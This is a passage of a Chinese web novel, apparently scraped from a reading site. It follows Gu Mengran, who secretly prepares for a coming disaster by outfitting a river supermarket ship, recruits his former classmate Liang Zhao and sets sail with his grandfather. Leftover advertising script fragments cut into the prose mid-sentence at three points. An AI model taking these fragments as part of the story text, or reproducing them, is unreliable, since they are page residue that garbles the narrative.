前几天和班长聊天,他提到你在跑船。我寻思这不是正好嘛,咱们是老同学,知根知底,互相熟悉,如果你愿意来我们的船,我们一起也能做个伴呀,说说话呀。” 梁昭眉头微挑,静静看着他,一言不发,那眼神仿佛在说:你觉得我们很熟?像是有话说的样子? 顾孟然被他看得心虚,脑袋不自觉地往下低了一点,“梁昭,我知道我们这么多年不联系,我突然邀请你会很奇怪,但你好好考虑一下成吗?我是认真的。” “可以。”梁昭喉咙里漏出一声轻笑。 “工资待遇方面都好说,主要和陌生人——”顾孟然猛地一抬头,瞳孔骤缩,“你、你说什么?” 梁昭神情散漫慵懒,古井无波的眸子染上一丝笑意,“我答应了,去你家的船。” 4. 第 4 章 * 顾孟然一心想着说服梁昭,行不通他就要开始发癫了,就算是被梁昭误会,被当成神金,他也必须让梁昭上船。 但他怎么都没想到,这才开了个头,梁昭居然答应了? “别发呆,先吃饭。” 漏勺与瓷碗碰撞,“叮当”一声脆响划破寂静。 吸饱汤汁的虾滑倒进碗里,梁昭极其自然地抽回手,顾孟然微微一怔,有那么一瞬间,他仿佛在梁昭身上看到了上辈子的影子。 顾孟然心存疑惑,拿起筷子戳了戳虾滑,小声问道:“你这就答应了?不问问工资待遇么?” “凑巧,最近正想换一艘船,一直没找到合适的。至于待遇,你既然主动邀请我,待遇应该不会太差。”梁昭面不改色,说完便从红汤里夹起一片肥牛。 “不过……” 到嘴边的肥牛缓缓放下,梁昭抬眸看向顾孟然,神情略显严肃,“黄雾对航运业的影响很大,现在买船开水上超市,不太明智。” 顾孟然装模作样地点下头,“是啊,我也知道。老爷子手里有点闲钱总想折腾,我也没办法,陪他玩吧,尽量少亏点。” 虾滑凉了,顾孟然用筷子夹成两半,在蘸碟里涮了两下,不紧不慢地送进嘴里。 □□弹弹,带了点淡淡的番茄味,好吃。 梁昭话少得可怜,饭桌上基本是顾孟然在叽叽喳喳。 不过他也算有问必答,顾孟然为了套近乎问东问西,追问现状,梁昭耐着性子逐一回答,有一搭没一搭地陪着聊。 一顿饭下来,久别重逢的陌生感渐渐消融,横在彼此之间的距离感荡然无存——至少顾孟然单方面这么认为。 用完晚餐,从商场里出来,顾孟然钻进商城后面的小巷子,不一会儿,红色老头乐摇摇晃晃停在梁昭身前。 “滴滴——” 两声清脆的鸣笛声过后,车窗缓缓降下,司机笑得尤为灿烂,飞快地向车窗外招手,“上车梁昭,你住哪?我送你回去。” 梁昭上前两步,站在车窗前垂眸看着他,“不用了,我就住在附近。” “啊?”顾孟然眸色一黯,失落地瘪了瘪嘴,“好吧。说好的十天,十天后你一定要来找我,地址我到家微信发给你,你可以把行李提前寄过来,记住,千万别忘了!” 梁昭郑重点下头,“知道了,电话联系。雾天开车慢一点,注意安全,到家给我发个消息。” 顾孟然轻轻“嗯”一声,眼眶莫名有点热。 刹车灯熄灭,老头乐重新启动,渐行渐远。 梁昭站在路边一动不动,看着红色老头乐汇入车流,融入黄雾,直至彻底消失不见。 “啪嗒。” 打火机亮了又灭,梁昭骨节分明的指间多出一支香烟。 火星忽明忽暗,缭绕的烟雾爬上他棱角分明的侧脸,自始至终,梁昭的神情不曾有半分变化,目光依旧停留在车来车往的街道。 而香烟燃尽,他薄唇翕动,不见波澜的眸子盈出一丝眷恋。 “顾孟然,好久不见。” * 天还没亮,顾孟然火急火燎地爬起来洗漱。他兴奋得几乎一夜没睡,眼下一片青紫,顶着两个老大的黑眼圈。 开门迎面碰上外公,瞧着外公的熊猫眼,顾孟然瞬间心理平衡了。 今天可是重要日子,睡得好才奇怪呢。 洗漱换衣服,带好相关文件与证件,顾孟然和外公开着老头乐匆匆出门,顺便买了点早餐,一边吃一边赶路,片刻不停地赶往船厂。 一个半小时车程,红色老头乐穿越重重黄雾,驶向城南郊区,一座规模庞大、赋有浓厚工业气息的造船厂。 购船事宜由外公全权负责,交付流程顾孟然完全是两眼一抹黑。不过进入船厂后,一艘艘高耸入云的庞然大物倒是看得他眼前一亮又一亮。 老头乐全速运行,跟着指引路牌开往船厂码头,路上老爷子终于善心大发,简单解释了几句,给懵懵懂懂的顾孟然解惑。 一般来说,购船需提前与造船厂预订,因为造船必须在船坞、船台进行,方便船舶下水。而造船厂船台数量有限,造船周期长不说,还需排队等船台。 少则半年,多则一年。 因此,一种新生职业孕育而生——船贩子。 说到船贩子,老爷子一脸鄙夷,“船贩子可恶得很。他们会先把船台给占了,让真正需要船的人排队干等着。那些急着用船的人没办法,只能跟船贩子加价买船。” “对于这种恶意占船台,居中牟取暴利的船贩子,我们要坚决抵制!哈哈,这两年航运行情不好,龟儿子一个个的指定是亏惨咯。” 高阳呲着大牙,幸灾乐祸地笑道:“跟船贩子买船也有好处,他们一般等船厂造好了才卖,缩短购船周期,还包手续,相当于花钱买时间吧。” 顾孟然挑了下眉,若有所思道:“哦,所以外公说的托关系……其实是找‘坚决抵制’的船贩子买船啊?” 老爷子瞬间涨红了脸,咬牙切齿地盯着顾孟然,“你外公曾经干的是海运,海运懂不?这江上的内河船,我上哪找熟人去?” “理解理解。” 笑容不会消失,只会转移,顾孟然笑笑道。 特殊时期特殊对待,少则半年的造船周期,他们等不起。 谈笑间,船厂码头到了。 买的现货船,少了一项吉水仪式,顾孟然家的船已经稳稳停泊在船厂码头,等待船主人验收。 风翼号,船长69米,宽14米,型深4.9米,满载3000吨。 船身颜色格外鲜艳,吃水线以下为红色,吃水线以上及甲板为墨绿色,上层建筑呈白色,材料用的是钢制单甲板,结实耐磨,抗腐蚀性强。 不同于停泊在码头的其他散货船,船头船尾设有艏楼或艉楼等上层建筑,风翼号按照超市船的标准改装,平坦开阔的甲板上,直接焊了一幢新型两层结构的上层建筑。 简单点来说,其他货船的上层建筑限于船头船尾,仅占用一小部分甲板。而风翼号相当于背了两层千平大平层在船身上,露天甲板所剩面积不多。 远眺雄伟壮观,与航行在黄江中的小型游轮相差无几。登上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 码头近距离观摩,顾孟然眼底只剩两个字——震撼。 船身基本查验完毕,负责人姗姗来迟,带领孟高阳与顾孟然登船。 沿着舷梯正式踏上甲板的那一刻,顾孟然心底莫名涌出一种强烈的归属感,因为他知道,这艘船以后便是他们的家。 顾孟然与外公一起参与了船楼内部设计,早知道里面长什么样。 但看图纸与切身走进船楼的体验截然不同,一进门,顾孟然顿时被眼前明亮宽敞的“大厅”惊呆了,嘴唇微张说不出一个字,差点忘了呼吸。 一楼面积最大,作为超市的主卖场。 今天刚到提船阶段,货架并未入场,所以摆在顾孟然眼前的便是,一片开阔规整、堪比商场大厅一般的船楼。 一楼没有做任何隔断,站在门口,整层船楼一览无余。 吸顶灯明光锃亮,灰色大理石地砖宛若明镜,洁白的墙面一尘不染……如若不是船只随江水轻微晃动,顾孟然还以为无意中进了谁家装修好的超市。 完美,相当完美。 灾前社会秩序尚存,为了顺利入水,他们只能按规定改装、装修船楼。而不做任何隔断的好处就在于,只要材料足够,灾后怎么改都方便。 一楼顾孟然和外公都相当满意,二楼就更不用说了。 风翼号是前驾驶室设计,绕船一周,从船尾露天甲板进入二楼,直接就是一个超大客厅,顾孟然心心念念的,将近一百五十平方米的巨无霸客厅。 玄关、地砖、墙砖、电视墙……陆地客厅应有的装修一样不落,还拥有属于豪宅级别的超大面积,就连负责人看了也忍不住说一句:“豪横!这么大的面积用来当生活区。” 顾孟然笑了笑,打了个哈哈道:“陆地寸土寸金买不起啊,只能在船上实现我的豪宅梦了。” 客厅旁边是餐厅和一间半开放式厨房,外加一个水吧,装修很简单,但灶台、吧台、橱柜等基础配套设备一应俱全,只等着添厨具进来。 再往里走便是卧室,主卧两间,客卧四间,房间均为套房设计,每个房间内都有单独的洗手间、淋浴室…… 除此之外,后面还有两间不起眼的百平米大仓库。 而最后的最后,风翼号的大脑——驾驶室。 居高望远,站在三面皆是钢化玻璃的驾驶室里,视野极为清晰,波澜壮阔的黄江,出港进港的船只一览无余。 驾驶台上各类仪器设备应接不暇,顾孟然去年才抽空考了船员证,一直没能上船实操,他只会操舵,看看雷达、电子航图这些比较简单的设备。 曾经当过船长的孟高阳就不一样了,他望着眼前熟悉的仪器和设备,心中满是怀念与感慨。 从驾驶室出来,负责人又提出带他们去机舱。 如果说驾驶室是大脑,那么机舱便是船舶的心脏。 顾孟然对此不感兴趣,外公跟着负责人走了,他独自来到驾驶室外面的露天甲板,吹着江风,琢磨接下来要买的物资。 家具家电、燃料、各种大型设备…… 而留给他们的时间——仅剩半个月。 5. 第 5 章 * 餐桌、桌椅、衣柜、沙发、床等大型家具先行运上船。顾孟然全部在同一家家居店买的,谈妥价格让人送货上船,又花钱请了四个船工帮忙安装。 专业的事还得专业的人来,船只航行途中晃动大,家具、家电必须固定好,万一遇上风浪,顾孟然可不想满屋子追着家具跑。 外公年纪大了,不易四处奔波,顾孟然让他留在船上监工,同时联系他的老同事,托关系找渠道,大量购买燃油。 而顾孟然开着老头乐到处跑,开始了新一轮的采购。 电视、冰箱、洗衣机、烘干机、净水器、空气净化器,除湿器、防寒耐热工业级空调……用得上的,用不上的,一律按照新房标准进行添置。 接着是厨房用具及燃气。 厨具简单,一家大型品牌店全部搞定。 大批量购买燃气容易引起注意,顾孟然只能又像买生鲜那样,东打一枪西打一棒,分别在大型厨具店、市场燃气门店,以及各大气站将煤气和液化气罐挨个儿囤一些。 燃气各买一百罐,又买了小一吨煤炭,顾孟然心满意足。 航船途中大部分时候用电,发动机运行时,船舶辅助动力装置和风力涡轮发电机均可提供足够的电能,燃气燃料只是起到一个辅助作用,以备不时之需。 想到这,顾孟然又去添了几台发电机。 高功率柴油发电机、太阳能发电机各三台。 船上不缺电,但灾后长期生活在船上,随波漂流才是常态,因此,独立发电机必不可少。 三年阴雨天,太阳能根本派不上用场,但万一呢,顾孟然仍期待见到太阳,反正发电机不大,太阳能板也不占地方,多买点不碍事。 忙活完这些,与梁昭约定好的快到了,顾孟然略一寻思,又花了一天的时间,将一些“见不得人”的东西买好,提前收入空间。 如木材、钢制甲板、水泥钢筋、砖头石灰等建筑材料。 大量柴油、汽油、重油等燃料。 三百万所剩无几,最烧钱的燃油还是外公另外掏的钱。以防灾后突发情况,顾孟然将手里剩下几万块也花了,囤了些睡袋、帐篷、24H跑路包等户外生存物资。 一晃十天过去了,物资囤得差不多了,船上家具家电全部安装完毕,风翼号从船厂码头正式转移到云田港锚区。 而今天,梁昭就要到了。 天蒙蒙亮,开在家门口的早餐店被一群行色匆匆的上班族占领。顾孟然拎着豆浆油条,好不容易从人群中挤出来,拖鞋都快被踩掉了。 两杯豆浆,两根油条,一笼素包子,一共十块钱。但凡把素包子换成肉包子,顾孟然兜里的钱都不够结账的。 孟高阳早早起来了,顾孟然拎着早餐刚进门,老爷子便站在卧室门口朝他招手,“来来来,把我这屋的凉席和被子收起来,还有枕套和拖鞋,都装上装上。” 昨个儿老爷子在家里收拾了一天,能用的家具家电、锅碗瓢盆全部搬上船,不能用的也都卖了废品,住了几十年的老房子彻底搬空了,今天之后,风翼号便是他们的家。 适应了空间,老爷子俨然把顾孟然当成了移动仓库,随叫随到,零零散散的杂物也往他空间里塞。 肚子还饿着呢,顾孟然走进房间,将套着塑料袋的早餐放在凉席上,“整个房子都找不出一张桌子,先在这坐会儿吧,吃完早饭再收。” 孟高阳一想好像也是,拿了根油条坐在床沿边吃。 两个大男人,饭量都不小,一根油条顶多塞塞牙缝。孟高阳吃完油条咂咂嘴,还想再来点包子,可他一回头,哪还有包子,几条塑料袋孤零零地躺在凉席上。 顾孟然腮帮子鼓鼓的,边吃边喝,老爷子睨了他一眼,眼神中满是哀怨,“你饿死鬼投胎啊,两分钟全吃完了。” “我饿。”顾孟然就着豆浆咽下食物。 老爷子瞪他,“饿你不知道多买点?这点够谁吃。” 等的就是这句话! 顾孟然压下眼皮子,端起豆浆抿了一口,小声咕哝:“不是我不买,而是……哎!外公,我没钱了,那三百万囤货花得一干二净,我身上现在连十块钱都掏不出来,要不我给你泡个面?” “没钱吱声呗,扭扭捏捏地做什么。”孟高阳整笑了,当场从裤兜里掏出钱夹子。 一听这话,顾孟然眼巴巴地望着外公,激动地搓搓手。 外公前两天跟顾孟然交了底,物资购买完,他手里还剩下个七八十万。顾孟然以为外公至少给他分一半,已经伸手准备接银行卡了,不料下一瞬,掌心落下薄薄一沓现金。 很薄一沓,目测不超过十张。 顾孟然嘴巴一撇,不说话了。 “咋,不够?”孟高阳双手撑开钱夹子,特意递到顾孟然眼皮子底下,“差多少自己拿,反正就这些。” 五张红的,一沓零的,顾孟然倏地抬起头,“钱呢?” 老爷子哈哈一笑,“你说暂时不知道买什么,先放着,但这钱以后可就啥没用了。我寻思咱们的超市里头还空着,这不是又去买一批货架,进了一批货嘛。 回头出港还有人查呢,咱们总不能空着船出去吧?” 顾孟然:“……完蛋。” 外公的做法倒是没错,灾后钱确实没用了。可前两天他不知道买什么,今天知道了啊!这一千多块钱哪够。 “还有什么要买?”老爷子看出来了,追着顾孟然问。 顾孟然垂头丧气,掰着手指头和外公说:“救生衣、皮筏艇、船锚、缆绳、修船工具……这些船上用品我差点——” “是不是傻?”老爷子打断顾孟然的话,哈哈大笑道:“你外公跑了半辈子的船,会连这点常识都没有?前几天你在外边跑的时候我就找人买了,在船上堆着呢。” “真的?” “这孩子,正事儿我还能忽悠你?” “那柴油小船呢?买了几艘?”顾孟然眉头缓缓舒展开,一脸期待地看着外公。 柴油小船指的是柴油机动力艇,5—10米的小船。 风翼号固然安全,但灾后秩序混乱,他们需要几艘经济实用的柴油小船,一旦遇到突发性意外,随时做好弃船逃生的准备。 老爷子显然忘了这一茬,迎上顾孟然灼热的目光,他心虚地别开脸,轻咳一声,“这、这倒是忘了。你不是说还要带个人吗?这样,你找他借点钱,多买几艘。” “哈?”顾孟然刚喝了一口豆浆,差点直接喷出来。 “外公,我没跟人提天灾这一茬,我跟他说的是来我们家船上工作。这人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还没上船呢,老板先借点钱?合适吗?” 老爷子眉头一皱,“他不是你好朋友吗?你连蒙带骗的都要带上他,借点钱咋了。” 顾孟然被噎了一下,沉默了。 和外公说梁昭是很重要的好朋友,和梁昭说外公非要买船,两头忽悠的报应终于来了。 不论如何,柴油小船必须买。外公说得也没错,灾后钱就是废纸,梁昭的钱也不例外,不如厚着脸皮把钱借过来。 顾孟然刚打定主意,外面响起了敲门声。 顾孟然噌地一下惊坐起,赶忙将床上乱七八糟的塑料袋收起来,又捋了捋衣服,这才丢下豆浆前去开门。 刚走到卧室门口,他忽然想到了什么,回头叮嘱老爷子:“外公你别说漏嘴啊!船是你要买的,超市是你要开的,咱们先忽悠着,等天灾来了再跟他实话实说。” 老爷子冷哼一声,“得,这锅我背了。” 事实证明,担心是多余的。 梁昭这个闷葫芦,进门主动和老爷子打了个招呼之后,便一声不吭地站在那里。而孟高阳手握主动权,追着梁昭问东问西,查户口似的。 “哪的人啊?” “多大年纪了?” “怎么想着跑船呢?” 来之前顾孟然已经把梁昭的大部分情况告诉外公了,但架不住老爷子话多,非要问,美曰其名聊聊天。 梁昭这人是冷了点,但面对长辈、老板还是很有礼貌的,像个乖乖好学生,耐着性子接受孟高阳的盘问。 外公和梁昭一问一答,顾孟然如坐针毡,生怕其中一个说漏嘴。 眼瞅着时间也不早了,他不动声色地朝外公使了个眼色,扭头询问梁昭:“东西都带齐了吗梁昭?我们先上船,上船签合同,出港之前我们就先住在船上了。” 船员跟船住是常态,梁昭没有意见,轻轻点了下头。 顾孟然替梁昭拖着行李箱,担心外公说多错多,赶忙拉着梁昭往外走。 老爷子紧跟在两人身后,不依不饶,边走边叨叨:“小梁是本地人,那之前也在云田咯?跑的哪条航线?” 先前琐碎的问题梁昭逐一爽快回答,此时一个非常简单的问题,他却沉默了,飘忽的视线缓缓落在顾孟然肩头。 沉默得太久,三人一前一后走出门,连顾孟然都觉得奇怪,回头看了他一眼。这时,梁昭喉咙上下滚动,轻轻吐出两个字:“云京。” 云京线,云田-新京。 顾孟然离开家乡后,生活了五年的城市便是新京。 顾孟然诧异地挑了下眉,刚想说话,老爷子抢先一步,“嚯,我说你俩一个云田一个新京,天遥地远的咋还能是好朋友,感情你经常往新京跑啊。靠泊的时候经常找他玩吧?” 完犊子!顾孟然心里咯噔一声,正想着该如何岔开话题,梁昭眉心微动,有意无意地看了他一眼,“好朋友?” 这话也不知是问谁,孟高阳一心想着顾孟然还得找人家借钱,又是铺垫又是套近乎:“可不是嘛!浑小子这两天没少念叨你,说你是他这辈子最好的朋友,铁哥们,还有啥来着?过命的交情?” 空气似乎有一瞬间的凝固。 梁昭肩膀轻颤,喉咙深处溢出一声低笑,“是么。” 顾孟然:………… 6. 第 6 章 * “哗——哗——” 江水颇有节奏地拍打着船身,悠扬的江风拂面而过,顾孟然独自站在露天甲板,透过朦胧的黄雾望着这条船来船往,浩瀚蜿蜒的母亲河。 黄江,华国第一大河,源起宜南,流经多省,最终于松口汇入东海。从西向东,全长约6000公里。 云田位于黄江下游地区,距离“终点”尚有5600公里,而余下这5600公里,将会是风翼号的最终航线。 5600公里,坐飞机只需三四个小时,可开船一点点地摇过去,至少需要二十天。 没时间了,距离那场改变人类历史进程的火山大爆发,只剩不到五天时间。 得出发了,他们必须尽快出发。 “——沙沙,沙,顾孟然,顾孟然,人呢?” 别在腰间的对讲机响了,白噪声裹着外公的声音从里面传来。顾孟然撑着船舷护栏伸了个懒腰,不紧不慢地拿起对讲机,按下PTT键:“在呢在呢,在外面甲板上。” “快进来,合同签完了,去给小梁安排房间。” “收到收到,稍等片刻。” 船尾到船头有一定的距离,顾孟然匆匆走回驾驶室时,梁昭已经拎着行李等在驾驶室门口。 再次见面还是有些尴尬,顾孟然强迫自己忘掉早上那些破事儿,装作无事发生,笑吟吟地走上前,“怎么样梁昭,待遇方面还满意吧?” 梁昭轻轻“嗯”了一声,“很满意。” “嘿嘿,那就好。走吧,带你去房间看看。” 为了把人忽悠上船,顾孟然和外公拟定合同的时候,在普通船员的薪资标准上加了一个等级,直接给到梁昭高级船员的薪资。 满意是满意了,但这笔钱……给不了一点儿。 从驾驶室过来,经过仓库便是休息区,顾孟然走在前面带路,来到主卧旁边的一间次卧门口。 “这里这里,你住这间。” 拧动把手推开房门,顾孟然让开位置,伸手做个“请”的姿势,扬着下巴回头看向梁昭,“这就是你的卧室,快看看喜不喜欢。” “船上一共六间船员休息室,船长和大副房间的大一点,其他四个房间格局都差不多,只是位置不一样。这间是我替你选的,隔壁就是我的卧室,我住大副那间,斜对门是船长休息室,我外公住。” 顾孟然热情似火,叽叽喳喳地介绍,梁昭却一言不发,拖着行李箱慢步走进房间。 船员休息室面积在二十平方米左右,比普通家庭的卧室还要大上不少。房间整体色调呈白灰色,简约雅致的现代装修风格。 进门左侧是浴室,做的整体浴室设计,用钢制甲板与磨砂隔断,干湿分离,马桶、花洒、?盥洗盆等用具一应俱全。 再往里走,一面嵌入式衣柜,一张1.5米的标准双人床先后映入眼帘。除此之外,投影布投影仪、书桌椅、懒人沙发、除湿器……琳琅满目的家具家电点缀,原本冷冰冰的房间充满了烟火气息。 双人床两侧各有一个床头柜,台灯与两个精致的小摆件整齐摆放,搭配一套灰色床单被套,使整个房间看起来——温馨得像一个家。 船舶面积有限,在大船上,几名船员挤一间房间都是常态,回想过去那些昏暗逼仄的船员休息室,梁昭眉头微微皱了一下。 这一微不可察的神情变化落入顾孟然眼里,顿时变味了。他略显局促地走到梁昭身旁,轻声询问:“是不喜欢吗?那要不去别的房间——” “喜欢。”梁昭忽地一回头,直直对上顾孟然的视线。他眉眼舒展开,修长的脖颈高高扬起,宛如一潭死水的眼眸缓缓亮了起来。 “我很喜欢。” “真的吗?”顾孟然半信半疑,“以后长期住呢,不满意你就吱声,咱们换一间,把东西搬过去就行。” 梁昭:“这么好的房间,怎么会不喜欢。” 顾孟然:“哈哈,那就好那就好。” 对视片刻,顾孟然率先错开视线,他快步走向窗户,兴奋地与梁昭招招手,“来这,给你看个好东西。” 梁昭放下行李跟过去,顾孟然一把拉开窗帘,一面通透的全景落地窗即刻呈现在眼前,而后他滑动推拉门,一个明亮宽敞的半露天式阳台露出真容。 阳台很长,很宽敞,从阳台出去可抵达二楼任意房间。 墨绿色甲板与房间装修有些违和,往阳台上一站,居高望远,视野极为开阔,迎面吹来的江风带来清爽的凉意,让人心旷神怡。 “我可太喜欢这阳台了,等黄雾散了,我们放张桌子,坐在这喝喝茶,看看江景,简直不要太爽。”顾孟然趴在船舷护栏上,歪头看着梁昭,眼底浓浓的笑意化不开。 “嗯,是很不错。”梁昭不自觉地勾起嘴角,垂在身侧的双手轻轻一颤。 “对了——” “其他房——” 不说话都不说话,一开口同时开口,两人相视一笑,梁昭朝顾孟然扬了扬下巴,“你先说。” 顾孟然飞快地摇摇头,“不要,你先。” 梁昭:“嗯,刚才是想问,其他卧室也是这样的么?这样的装修,这样的……配套设施。” 拐弯抹角绕了大圈子,或许他最想问的是,其他人也是这样的待遇吗?还是他,他这个老同学独享一份。 顾孟然完全没有get到他的意思,瞪大了双眼,“怎么可能。其他房间又没人住,花那钱干嘛。” “没人住?那其他船员?” 顾孟然耸了耸肩,“没有了,就咱们仨。” 在配员方面耍小聪明的货船不少,比比皆是,但梁昭万万没想到,这么大一艘船,居然就他们三个人。 梁昭嘴唇动了动,本想说配员太少,不安全,但垂眸触及顾孟然清澈的眼神,脱口而出地建议拐了个弯,“也挺好。你呢,刚才想说什么?” “我……” 顾孟然一秒哑火,耷拉着眼皮,支支吾吾道:“船上还差点东西没买,我、我们买船买货超预算了,手里的流动资金……不太够,我……” 简直是难!以!启!齿!顾孟然羞愤欲死,脑袋都快垂到甲板上了,愣是没办法将那句“借点钱”说出口。 而这时,梁昭俯身凑近,低沉冷冽的嗓音在耳边炸响:“贷款审批慢,这样,我手里还有点闲钱,先拿去用着成吗?” 顾孟然扭扭捏捏,“这哪好意思。” “钱闲着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也是闲着,不会因此变多。要不然算点利息,就当存你那?”梁昭语气很轻,多了丝鲜活的情绪。 不但给借钱,还把顾孟然的尴尬给化解了。不论曾经还是现在,梁昭始终是那个看似冷漠不近人情,实则温柔到极致的人。 顾孟然抬头看着梁昭,小声嘟囔:“你怎么这么好。” 梁昭似笑非笑地与他对视,“我们可是好朋友,还有着过命的交情呢,不是么?” 顾孟然:……这钱不借也罢。 借钱时尴尬,花起来倒是毫无负担。 微信一到账,顾孟然立马跑下船,买柴油小船,买?防水蓬布,买减压轮,又添了几艘皮筏艇、几个备用船锚,以及七七八八的维修工具和潜水设备。 梁昭在船上,出门采买的顾孟然没办法空着手回去。他只能将无关紧要的小物件收回空间,其他的让人送到码头,再租别人的柴油小船运送到锚地。 来来回回跑了四五趟,全部货物装船,天已经黑透了。 正值盛夏,风翼号宛如一个铁皮大烤炉,热气腾腾的,入夜也不见凉。 客厅里弥漫着淡淡的饭菜香,顾孟然进门就闻到了。 他累得半死,拖着疲惫的身躯往客厅沙发一躺,别说去厨房看了,手指头都不想动一下,唯一能做的就是——扯着嗓子大喊一声:“外公我回来了!” 听到动静,孟高阳拿着锅铲从厨房里探出头,瞧顾孟然那蔫儿不拉几的样子,不遗余力地调侃:“有这么累吗?我看你就是运动少了,体力不行,随便干点活累成这样!” 顾孟然气鼓鼓地瞪了他一眼:“我饿了!” “煮着呢,一会儿就吃。”孟高阳随意敷衍了一句,刚想回厨房,忽然又想到了正事,忙地交代顾孟然:“歇会儿下楼搬点吃的,搬点调味料上来。” 说到这个老爷子就来气,“我刚刚一进厨房,冰箱空的,橱柜空的,柴米油盐要啥啥没有。” 顾孟然:“知道咯。” 楼下超市里的货物暂时还不能收起来,出港、过闸都有海事部门检查,毕竟他们是一艘“超市船”,货物得摆在明面上。 利于长期保存的食物还好,外公为何装样子买的果蔬、生鲜,需要尽快解决掉,嗯,尽快吃掉。 新家家具家电齐全,但刚搬进来,冷冷清清,毫无生活气息,顾孟然总觉得少了点什么。歇了小十分钟,缓过劲儿,顾孟然环顾客厅,这才惊觉——原来还少了个人。 “外公外公,梁昭呢?” 顾孟然匆匆跑到厨房门口。 老爷子在灶前忙活,头也没回道:“跑不了,在楼下整理货架,收拾货。” “刚第一天就让人家干活?” “你不干他不干,谁干?我啊?去去去,一边玩去,别搁这碍手碍脚。” 被外公撵出厨房,顾孟然无奈地耸耸肩,准备下楼找梁昭去。 然而他刚迈出两步,外公的声音再度从身后传来:“顾孟然,明天可就出港了,顾德诚那边真的不打算说一声?他毕竟是你亲爸,就算不带他,是不是也应该给他提个醒?” 顾孟然脚步一顿,轻抿的嘴唇微微扬起。 “说,为什么不说。” 7. 第 7 章 * “喂?顾孟然你个小杂种,居然敢把老子的电话拉黑。你他妈死哪去了?一个月都不见人影,现在知道给你爹打电话了?” 电话刚刚接通,粗犷的男声夹杂着污言秽语,机关枪似的,突突突地往外冒。 声音聒噪刺耳,顾孟然将贴在耳朵上的手机拿远了一点。等电话那头输出完,稍微安静一点,他这才缓缓开口:“这么多年真是没一点长进,来来回回还是这几句,吃了没文化的亏啊,骂人都不会骂。” “你!”电话那头的顾德诚气坏了,破口大骂:“你个小杂种,翅膀硬了是吧,敢这么跟你老子说话!” 顾孟然哼笑一声:“一直没来得及问你呢,你总说我是小杂种,那你是什么?老杂种?你那宝贝小儿子又是什么?小小杂种?” “顾孟然,你他妈¥&*#*@%#……” 语言攻击持续了近一分钟,顾孟然揉了揉发麻的耳根子,轻飘飘地打断他的话:“有钱了,生活水平提高了,素质却没跟上,怪不得人家总说你像暴发户。” “顾德诚,拿你当人的时候,装得像一点好吗?我打电话过来不是听你逼逼赖赖的,我是想告诉你——” 说一半顾孟然不说了,故意吊起了胃口。 顾德诚生平最讨厌别人说他是暴发户,可听到顾孟然的后半句话,他竟奇迹般地停止了谩骂,阴阳怪气地追问:“告诉我什么?没钱花了?” 声音透过听筒有些失真,顾孟然肩膀轻颤,低低一笑,“顾德诚,一定要带着你的老婆孩子好好活下去。我还想再见到你呢,希望再见面的时候,不要太狼狈啊。” “你疯了吗?到底想——嘟嘟嘟——” 无情掐断电话,反手将号码拉入黑名单,顾孟然仿佛被瞬间抽干所有力气,趴在船舷护栏上一动不动。 开玩笑,给顾德诚提个醒儿? 怎么可能,他巴不得顾德诚原地去世。 不过这通电话打的实属没什么意义,奚落顾德诚并没有让他感到痛快,无端让自己沾上小人味儿,颇有几分小人得志的嘴脸。 “哎!”顾孟然长叹一口气,重新拿起手机。 不想给顾德诚提醒,但有必要给其他人提个醒。顾孟然打开备忘录,将前几天编辑好的文字复制,转而发布在论坛。 太严肃的标题反而不太引人注意,为此,他特意编辑了一个装X又容易引发群嘲的标题: [不装了摊牌了,其实我才是预言家,不懂别装懂,进来听哥分析。] 发帖成功的提示一闪而过,顾孟然当场关机,拔出手机卡,任它从指尖滑落,落入深不见底的江水中。 出港在即,他也不怕被人找上门,提醒一个是一个。 灾难并非一夜之间全面爆发,逃生的机会往往留给有准备的人。信与不信需自行判断,他能做的只有这么多。 * 天色渐明,一艘载满四人的柴油小船穿透夜色,穿过朦胧的薄雾,缓缓朝着风翼号靠近。 顾孟然手持望远镜,站在船头甲板上向柴油小船招手,随后拿起对讲机:“船长船长,新船长已就位,起重机准备。” 五秒过后,对讲机传来老爷子刻意压低的嗓音:“驾驶室收到,起重机准备就绪。小祖宗,别瞎嚷嚷,执法船估计也快到了。” “知道了。”顾孟然春风满面,眼底笑意正浓。 起了个大早,顾孟然毫无怨言,反倒比谁都精神。 原因无他,今天——风翼号出港。 开船不像开车那般简单,有司机就够了,想要合规启航,颇要费一番功夫,尤其是风翼号。 一类三千总吨船舶的最低安全配员为五人,船长一人、大副一人、轮机长一人、船员两人,连续航行超过十六小时,还需再配二副一人。 目前风翼号上,正式船员仅两人,还有一个已经退休的老船长,只能作为船东跟船。因此,孟高阳另聘四名持证上岗,但航行经验没那么丰富的高级船员。 社会秩序尚存,一切按规定行事。 转眼间,柴油小船顺利抵达。起重机将柴油小船吊上风翼号,四名高级船员先后下船,前往参加驾驶室“培训”。 一个小时后,执法船如期而至。 海事执法人员登船,检查货物、检查配员、检查消防。 前后耗时三个小时,执法人员下船离开后,孟高阳带着顾孟然来到驾驶室外面的露天甲板。 风翼号主引擎启动,巨大的轰鸣声震耳欲聋,老船长站在甲板振臂高呼,浑厚的嗓音盖过层层噪音,响彻云霄。 “——起锚!” 情绪会传染,顾孟然也跟着喊:“起锚咯,出港咯!” 停泊在锚地的其他货船上陆续蹿出人影,船员们纷纷投来打量的目光,或许觉得他们是疯子,出港闹这么大动静。 但只有顾孟然心里清楚,风翼号启航的意义有多重大。 少则三年,多则一辈子,他们将暂别陆地,不知归期。 江风呼啸,风翼号平稳航行,下一站——韶洲船闸。 兴奋劲儿过了,顾孟然沿着舷梯从二楼下到一楼,哼着小曲走进超市。 一个上午没来,超市大变样,货架整齐摆放,各类食品、调味品、日用品分门别类,整整齐齐地码放在货架上。 冰箱冰柜、生鲜果蔬台,前不久还空荡荡的大厅,俨然有了超市卖场的雏形。 顾孟然进门时,梁昭正扛着一袋百斤重的大米,从超市后方临时仓库搬到正门口收银台旁边。 已然是第六袋了,他累得气喘吁吁,干练利落的短发被汗水濡湿,又被随意撩起,光洁饱满的额头全是汗珠。 “砰。” 米袋与地上其他米袋重叠,整齐摞在一起。 梁昭呼出一口热气,撩起衣摆擦了擦汗,朝顾孟然颔首示意,“怎么样,起锚好玩吗?” 